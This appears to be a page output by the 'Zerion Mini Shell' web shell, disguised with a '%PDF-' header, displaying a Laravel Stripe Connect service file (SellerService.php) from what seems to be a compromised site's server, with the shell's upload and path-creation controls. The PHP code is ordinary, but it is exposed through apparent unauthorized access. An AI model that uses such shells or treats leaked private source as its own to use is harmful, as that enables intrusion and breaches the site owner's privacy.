%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/api-takeaseat.eco-n-tech.co.uk/app/Services/Stripe/
Upload File :
Create Path :
Current File : //home/forge/api-takeaseat.eco-n-tech.co.uk/app/Services/Stripe/SellerService.php

<?php

namespace App\Services\Stripe;

use Stripe\Stripe;
use Stripe\StripeClient;
use Stripe\Account;
use Stripe\AccountLink;
use Stripe\Transfer;
use Stripe\Balance;

class SellerService
{
    /**
     * Get the account details
     * 
     * @param string $connect_id
     * @return string $account
     */
    public static function getAccount($connect_id)
    {
        $stripe = new StripeClient(config('services.stripe.secret'));
        
        return $stripe->accounts->retrieve($connect_id, []);
    }

    /**
     * Create a new stripe connect account
     * 
     * @return string $account
     */
    public static function createAccount(): string
    {
        Stripe::setApiKey(config('services.stripe.secret'));

        $account = Account::create([
            'country' => 'GB',
            'type' => 'express',
            'capabilities' => [
                'card_payments' => [
                    'requested' => true,
                ],
                'transfers' => [
                    'requested' => true,
                ],
            ]
        ]);

        return $account->id; 
    }

    /**
     * Create an account link for the Stripe Connect onboarding
     * 
     * @param \App\Models\User $user
     * @return \Stripe\AccountLink $account_links
     */
    public static function createAccountLink($user): AccountLink
    {
        Stripe::setApiKey(config('services.stripe.secret'));

        $account_links = AccountLink::create([
            'account' => $user->stripe_connect_id,
            'refresh_url' => config('app.frontend_url'),
            'return_url' => config('app.frontend_url'),
            'type' => 'account_onboarding',
        ]);

        return $account_links;
    }

    /**
     * Create a login link for the user's stripe express dashboard
     * 
     * @param \App\Models\User $user
     * @return \Stripe\AccountLink $login_link
     */
    public static function createLoginLink($user)
    {
        Stripe::setApiKey(config('services.stripe.secret'));

        $login_link = Account::createLoginLink($user->stripe_connect_id, [
            'redirect_url' => config('app.frontend_url').'/account/financial'
        ]);

        return $login_link;
    }

    /**
     * Transfer an amount to the user's connected stripe account
     * 
     * @param \App\Models\User $user
     * @param integer $amount
     * @param string $charge_id
     * @return \Stripe\Transfer $transfer
     */
    public static function createTransfer($user, $amount, $charge_id): Transfer
    {
        Stripe::setApiKey(config('services.stripe.secret'));

        $transfer = Transfer::create([
            'amount' => $amount,
            'currency' => 'gbp',
            'destination' => $user->stripe_connect_id,
            "source_transaction" => $charge_id
        ]);

        return $transfer;
    } 

    /**
     * Get the connect account balance
     * 
     * @param \App\Models\User $user
     * @return \Stripe\Balance $balance
     */
    public static function accountBalance($user): Balance
    {
        Stripe::setApiKey(config('services.stripe.secret'));

        $balance = Balance::retrieve(['stripe_account' => $user->stripe_connect_id]);

        return $balance;
    } 
}

Zerion Mini Shell 1.0